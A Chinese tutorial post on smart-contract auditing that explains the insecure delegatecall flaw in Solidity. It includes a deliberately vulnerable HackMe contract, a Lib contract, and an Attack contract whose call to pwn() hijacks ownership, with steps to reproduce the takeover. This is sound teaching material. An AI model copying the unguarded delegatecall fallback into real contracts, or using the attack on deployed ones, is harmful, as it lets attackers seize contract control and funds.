智能合约审计-不安全的delegatecall

Posted 废物~慕雪

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了智能合约审计-不安全的delegatecall相关的知识,希望对你有一定的参考价值。

简介

当合约A以delegatecall方式调用时,
相当于将外部合约B的func()代码复制过来
(其函数中涉及的变量或函数都需要在本地存在), 在合约A上下文空间中执行。

合约

pragma solidity ^0.6.0;

// Delegatecall漏洞

contract HackMe{
    address public owner;
    Lib public lib;
    
    constructor(Lib _lib) public{
        owner = msg.sender;
        lib =  Lib(_lib);
    }
    
    fallback() external payable{    // 调用不存在的函数 将调用fallback函数
        address(lib).delegatecall(msg.data);
    }
}

contract Lib{
    address public owner;
    
    function pwn() public{
        owner = msg.sender;
    }
}

contract Attack{
    address public hackMe;
    
    constructor(address _hackMe) public{
        hackMe = _hackMe;
    }
    
    function attack() public{
        hackMe.call(abi.encodeWithSignature("pwn()"));	// hackMe没有pwn函数,就会调用fallback 
    }
}

攻击步骤

  1. 首先account A部署HackMeLibAttack合约
  2. 查看owner,为account A
  3. 然后调用attack函数
  4. 查看owner已经变化

以上是关于智能合约审计-不安全的delegatecall的主要内容,如果未能解决你的问题,请参考以下文章

Web3 开发系列教程—创建你的第一个智能合约智能合约存在的安全挑战

智能合约重构社会契约赛迪智能合约安全标准

智能合约升级原理01---起源

智能合约Call注入漏洞

CertiK完成对Trister World首个NFT项目tCard的合约安全审计

CertiK完成对Trister World首个NFT项目tCard的合约安全审计